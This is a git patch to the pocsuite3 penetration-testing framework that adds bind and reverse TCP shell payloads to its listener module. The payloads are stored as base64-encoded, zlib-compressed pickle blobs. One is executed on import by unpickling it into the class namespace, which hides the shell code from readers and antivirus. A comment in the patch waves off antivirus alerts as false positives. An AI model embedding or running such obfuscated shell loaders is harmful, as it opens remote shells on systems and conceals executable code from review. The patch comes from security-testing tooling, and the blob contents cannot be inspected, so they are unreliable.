From 0f7b08e9b6de8e8cbcaeeadec2c748f34bf04154 Mon Sep 17 00:00:00 2001 From: 13ph03nix <17541483+13ph03nix@users.noreply.github.com> Date: Wed, 3 Aug 2022 14:07:50 -0700 Subject: [PATCH] feat: add bind/reverse shell payload (#311) --- pocsuite3/api/__init__.py | 6 +-- pocsuite3/modules/listener/__init__.py | 3 +- pocsuite3/modules/listener/bind_tcp.py | 60 +++++++++++++++++++++++ pocsuite3/modules/listener/reverse_tcp.py | 57 ++++++++++++--------- 4 files changed, 99 insertions(+), 27 deletions(-) diff --git a/pocsuite3/api/__init__.py b/pocsuite3/api/__init__.py index 7a1e940a..7a39b320 100644 --- a/pocsuite3/api/__init__.py +++ b/pocsuite3/api/__init__.py @@ -22,7 +22,7 @@ from pocsuite3.modules.ceye import CEye from pocsuite3.modules.fofa import Fofa from pocsuite3.modules.httpserver import PHTTPServer -from pocsuite3.modules.listener import (REVERSE_PAYLOAD, bind_shell, +from pocsuite3.modules.listener import (REVERSE_PAYLOAD, BIND_PAYLOAD, bind_shell, bind_tcp_shell, bind_telnet_shell) from pocsuite3.modules.quake import Quake from pocsuite3.modules.hunter import Hunter @@ -39,8 +39,8 @@ 'DEFAULT_LISTENER_PORT', 'load_file_to_module', 'OrderedDict', 'OrderedSet', 'load_string_to_module', 'single_time_warn_message', 'CEye', 'Seebug', 'ZoomEye', 'Shodan', 'Fofa', 'Quake', 'Hunter', 'Censys', - 'PHTTPServer', 'REVERSE_PAYLOAD', 'get_listener_ip', 'mosaic', 'urlparse', - 'get_listener_port', 'get_results', 'init_pocsuite', + 'PHTTPServer', 'REVERSE_PAYLOAD', 'BIND_PAYLOAD', 'get_listener_ip', 'mosaic', + 'urlparse', 'get_listener_port', 'get_results', 'init_pocsuite', 'start_pocsuite', 'get_poc_options', 'crawl', 'OSShellcodes', 'WebShell', 'OptDict', 'OptIP', 'OptPort', 'OptBool', 'OptInteger', 'OptFloat', 'OptString', 'OptItems', 'get_middle_text', diff --git a/pocsuite3/modules/listener/__init__.py b/pocsuite3/modules/listener/__init__.py index 01fbfe57..b3842ac2 100644 --- a/pocsuite3/modules/listener/__init__.py +++ b/pocsuite3/modules/listener/__init__.py @@ -2,6 +2,7 @@ from .reverse_tcp import start_listener from .reverse_tcp import REVERSE_PAYLOAD from .bind_tcp import (bind_shell, bind_tcp_shell, bind_telnet_shell) +from .bind_tcp import BIND_PAYLOAD __all__ = ('handle_listener_connection', 'start_listener', 'REVERSE_PAYLOAD', - 'bind_shell', 'bind_tcp_shell', 'bind_telnet_shell') + 'bind_shell', 'bind_tcp_shell', 'bind_telnet_shell', 'BIND_PAYLOAD') diff --git a/pocsuite3/modules/listener/bind_tcp.py b/pocsuite3/modules/listener/bind_tcp.py index 638bf91a..e7143daa 100644 --- a/pocsuite3/modules/listener/bind_tcp.py +++ b/pocsuite3/modules/listener/bind_tcp.py @@ -1,5 +1,8 @@ import os import socket +import zlib +import pickle +import base64 import select import telnetlib import threading @@ -129,3 +132,60 @@ def bind_telnet_shell(host, port, user, pwd, check=True): start_listener(tn) except Exception as e: logger.error(str(e)) + + +class BIND_PAYLOAD: + payload = ( + b'eJy1GE1v28g1200/4EOBntrexqxjky1NyW52E4eWW0WWd7VrS4KkNAmygUFRI4sx' + b'NWQ5QzuOLKCXXgpdCqj/oP+wQM99b2YoUzLtJC3KIDLnfX/Ne8P5y8N//PxXD+Qz' + b'nZuzh83WYX0++yeLBpRsU7LFRxV/FISD0ziJfMq5w2PvkplGqR+wEh8ZlsuocPyE' + b'eoJ2aXJBE3OYMl8EETP9MKBMWJOJenHiIKYmHzlcDAJmueotSjVCU2swTZJl8HRq' + b'OWHABQXlk/LUsLbmsx81a/PZL5lPtkOyHRMAo83atPnsx91Wrdqbz5o88j1BerX2' + b'9nGj26s3nwGlndCUU28wSOxhlJyT+qt67ZlmtWNxZSsjbE4FDwY2D84CJmzuMTqf' + b'ffldtz1/9bNfPHiw/+iPJPbOqPypMz8Cz84qRiqG208N8uhgbUEQjOMoERXjnXfh' + b'OUHk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ODtF70VkH1TicDwb7z9dVf3+MjAs7j' + b'xZwL/n/Z/rY9f7X+xYMH8Sgm2wnZ2sgSfKpuB81qgdvd1vFpr9a2dHBOpb8b3F7O' + b'cIbVngIesrXhh5kC7eUG9AD5FWzugJPB0FzXePUdCwy2sUEMSKpF3weQl4BlEuSH' + b'MhLA8EXR40EllgEwgAjSnBiZ6PUhjYYmUligZGNcGULqfAVwb+nbGNvQA0M0emxh' + b'rKZTLJbOi+ev57O/JWn/CmKl5wpWDdqFBwm8koQdAqFRl6rYQPW9p7bDX1T5AgJG' + b'+9gIIAyNlqPsB6C0fjK5DqJr34kTPBvBhyN6PJ1SNnDhPyawWdudz46SMSmJcVwa' + b'uuPzYTCMshVeoKrXa138kH2ye7C5cy3vXy/U9euBogFx1Zffz2d/9y7Pydbz+jeN' + b'5mTCK0YpYFSUoLZLQFwql8qGO4hkqkx+vQmmh0BAfGu/Urb6YOG5CygfjFcemv6C' + b'yDooW8qXjfL1JlfFDaQYYaLjsV4xMJ6GpZDcksH/aa9+DGV4OJ/9WtAQ7Bng9fHC' + b'KemHDMfv57NzCMd2MiwMyfX1+JzB4FIrErtm/iL6WoUFX63y/nLkdJBk9NxFwOez' + b'Lzrz2V87WAcG399WVaFHAF6ny8tZvLnuh4DCe+Ze50Xd5rJA1DumvLKV/G4rqwmE' + b'YviwII8hbNzEvKs3eb1+s8RNZVk2RsmYp85/AMfBUyk=' + ) + vars().update(pickle.loads(zlib.decompress(base64.b64decode(payload)))) + del payload diff --git a/pocsuite3/modules/listener/reverse_tcp.py b/pocsuite3/modules/listener/reverse_tcp.py index 9b298309..37e90020 100644 --- a/pocsuite3/modules/listener/reverse_tcp.py +++ b/pocsuite3/modules/listener/reverse_tcp.py @@ -335,30 +335,41 @@ class REVERSE_PAYLOAD: # Pocsuite3 is an open source security tool, not virus. # I believe that this is a false positive of your antivirus tool :) payload = ( - b'eJx9Vd9v4kYQTntpT7r3vlYji4O1agwBcQ9xQCIcadJSQJjr9YQQMvYSfA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xjZB/jyPbjTpvy4C2msTd/9PzNyebN/f7' + b'u61nUFj/mM5ttF+aBtBVCLMiCoEWUVVJL1HRzHSHWzZjNII+aIDlKrQ1Xsu73Ubp' + b'Sqspj+YU62h6NNIvLV6LqEO915ArmUA3FwgVP20Ika5Eipbvj/N9t4bFWVU+thWh' + b'FbNTHUMH8yemW3PSBEQ02UpK4vs4y4j4j3+7Mc8cd2q1tPTCu9/CeUb0MGxoOkwo' + b'cgjB41hbbMU69rUuxP4BzCxWXVrHMmyOstSYQQBa9XKeDmzBBGzZ0WVP/3z3iwrG' + b'LVAv0nrj6K9k7xVGJQ6H2GkhSpztVqu4G811q4UbPBh5aVQy0TvdrX7+aALxCI8K' + b'PiXdxT8NtN1Hbal3ft9SGOV155Yu34EtOCQ8Ih4bPf/NE4CWz0RvGQXQGvb2eeB+' + b'u3EwSLF/6GMT3/gHoFhE5Pm/AXPjH5hWGLM=' ) - vars().update(pickle.loads(zlib.decompress(base64.b64decode(payload)))) del payload